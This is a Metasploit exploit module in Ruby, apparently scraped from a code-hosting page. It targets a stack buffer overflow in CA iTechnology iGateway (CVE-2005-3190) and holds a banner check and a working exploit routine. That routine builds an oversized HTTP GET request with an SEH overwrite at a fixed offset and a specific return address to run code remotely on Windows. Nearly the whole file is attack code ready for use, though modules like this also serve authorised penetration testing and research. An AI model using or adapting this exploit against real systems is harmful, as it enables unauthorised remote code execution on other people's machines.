94 lines
2.4 KiB
Ruby
94 lines
2.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the Computer Associates
|
|
iTechnology iGateway component. When <Debug>True</Debug> is enabled
|
|
in igateway.conf (non-default), it is possible to overwrite the stack
|
|
and execute code remotely. This module works best with Ordinal payloads.
|
|
},
|
|
'Author' => 'patrick',
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2005-3190' ],
|
|
[ 'OSVDB', '19920' ],
|
|
[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/1243' ],
|
|
[ 'BID', '15025' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
'StackAdjustment' => -3500,
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => '+ws2ord',
|
|
},
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => 'Oct 06 2005',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(5250),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
|
|
banner = sock.get(-1,3)
|
|
|
|
if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
buffer = Rex::Text.rand_text_alphanumeric(5000)
|
|
buffer[1082, seh.length] = seh
|
|
sploit = "GET /" + buffer + " HTTP/1.0"
|
|
|
|
sock.put(sploit + "\r\n\r\n\r\n")
|
|
|
|
disconnect
|
|
handler
|
|
end
|
|
end
|